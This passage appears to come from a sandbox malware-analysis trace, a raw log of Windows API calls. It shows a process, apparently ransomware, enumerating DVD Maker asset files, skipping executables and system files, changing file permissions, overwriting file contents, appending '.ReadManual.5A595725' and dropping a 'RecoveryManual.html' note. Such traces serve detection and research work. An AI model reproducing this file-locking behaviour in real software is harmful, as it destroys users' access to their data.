Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png.ReadManual.5A595725") returned 101 [0252.861] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37352992893) returned 1 [0252.861] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png")) returned 0x20 [0252.861] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.862] GetLastError () returned 0x5 [0252.862] GetNamedSecurityInfoW () returned 0x0 [0252.862] SetNamedSecurityInfoW () returned 0x0 [0252.862] SetNamedSecurityInfoW () returned 0x0 [0252.863] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.863] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4968) returned 1 [0252.863] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1368, lpName=0x0) returned 0x1a0 [0252.863] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0252.863] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.863] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.865] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.865] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1368) returned 0x2f0000 [0252.865] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.865] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37353412633) returned 1 [0252.865] CloseHandle (hObject=0x1a0) returned 1 [0252.865] SetSecurityInfo () returned 0x5 [0252.866] SetSecurityInfo () returned 0x5 [0252.866] LocalFree (hMem=0x674d38) returned 0x0 [0252.866] CloseHandle (hObject=0x184) returned 1 [0252.866] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 1 [0252.866] lstrcpyW (in: lpString1=0x6ab90e, lpString2="Title_select-highlight.png" | out: lpString1="Title_select-highlight.png") returned="Title_select-highlight.png" [0252.866] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="RecoveryManual.html") returned 1 [0252.866] StrStrIW (lpFirst="Title_select-highlight.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.866] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.866] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.866] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.866] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.866] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.866] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.866] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.866] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.866] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.866] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.866] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.866] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.866] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.866] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.866] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" [0252.866] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png.ReadManual.5A595725" [0252.866] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png.ReadManual.5A595725") returned 103 [0252.866] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37353524697) returned 1 [0252.867] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png")) returned 0x20 [0252.867] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.867] GetLastError () returned 0x5 [0252.867] GetNamedSecurityInfoW () returned 0x0 [0252.868] SetNamedSecurityInfoW () returned 0x0 [0252.868] SetNamedSecurityInfoW () returned 0x0 [0252.869] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.869] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3143) returned 1 [0252.869] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc47, lpName=0x0) returned 0x1a0 [0252.869] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xde) returned 1 [0252.869] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.869] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.871] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.871] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc47) returned 0x2f0000 [0252.871] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.871] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37353991411) returned 1 [0252.871] CloseHandle (hObject=0x1a0) returned 1 [0252.871] SetSecurityInfo () returned 0x5 [0252.871] SetSecurityInfo () returned 0x5 [0252.871] LocalFree (hMem=0x674d38) returned 0x0 [0252.871] CloseHandle (hObject=0x184) returned 1 [0252.872] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 0 [0252.872] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0252.872] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0252.872] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="menu_style_default_Thumbnail.png" | out: lpString1="menu_style_default_Thumbnail.png") returned="menu_style_default_Thumbnail.png" [0252.872] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="RecoveryManual.html") returned -1 [0252.872] StrStrIW (lpFirst="menu_style_default_Thumbnail.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.872] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.872] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.872] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.872] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.872] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.872] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.872] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.873] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.873] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.873] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.873] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.873] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.873] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.873] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.873] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" [0252.873] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png.ReadManual.5A595725" [0252.873] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png.ReadManual.5A595725") returned 100 [0252.873] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37354161303) returned 1 [0252.873] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png")) returned 0x20 [0252.874] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.874] GetLastError () returned 0x5 [0252.874] GetNamedSecurityInfoW () returned 0x0 [0252.874] SetNamedSecurityInfoW () returned 0x0 [0252.874] SetNamedSecurityInfoW () returned 0x0 [0252.875] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.875] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4842) returned 1 [0252.875] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12ea, lpName=0x0) returned 0x184 [0252.875] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd8) returned 1 [0252.876] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.876] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.877] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.877] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12ea) returned 0x2f0000 [0252.877] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.878] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37354629914) returned 1 [0252.878] CloseHandle (hObject=0x184) returned 1 [0252.878] SetSecurityInfo () returned 0x5 [0252.878] SetSecurityInfo () returned 0x5 [0252.878] LocalFree (hMem=0x674d38) returned 0x0 [0252.878] CloseHandle (hObject=0x194) returned 1 [0252.878] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0252.878] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html" [0252.878] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0252.879] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0252.880] CloseHandle (hObject=0x194) returned 1 [0252.880] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0252.880] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0252.880] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0252.880] StrStrIW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.880] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.880] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.880] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.880] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.880] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.880] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.880] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.880] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.880] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.880] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.880] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.880] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.880] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.880] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.880] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" [0252.880] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725" [0252.880] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned 100 [0252.880] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37354909076) returned 1 [0252.880] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png")) returned 0x20 [0252.881] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.881] GetLastError () returned 0x5 [0252.881] GetNamedSecurityInfoW () returned 0x0 [0252.881] SetNamedSecurityInfoW () returned 0x0 [0252.881] SetNamedSecurityInfoW () returned 0x0 [0252.882] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.882] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5088) returned 1 [0252.882] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e0, lpName=0x0) returned 0x184 [0252.882] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd8) returned 1 [0252.883] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.883] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.884] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.885] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13e0) returned 0x2f0000 [0252.885] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.885] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37355354292) returned 1 [0252.885] CloseHandle (hObject=0x184) returned 1 [0252.885] SetSecurityInfo () returned 0x5 [0252.885] SetSecurityInfo () returned 0x5 [0252.885] LocalFree (hMem=0x674d38) returned 0x0 [0252.885] CloseHandle (hObject=0x194) returned 1 [0252.886] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0252.886] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0252.886] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.886] StrStrIW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.886] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.886] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.886] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.886] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.886] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.886] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.886] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.886] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.886] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.886] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.886] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.886] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.886] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.886] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.886] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" [0252.886] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725" [0252.886] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned 106 [0252.886] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37355513068) returned 1 [0252.886] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0252.888] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.888] GetLastError () returned 0x5 [0252.888] GetNamedSecurityInfoW () returned 0x0 [0252.888] SetNamedSecurityInfoW () returned 0x0 [0252.889] SetNamedSecurityInfoW () returned 0x0 [0252.889] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.890] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3130) returned 1 [0252.890] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc3a, lpName=0x0) returned 0x184 [0252.890] 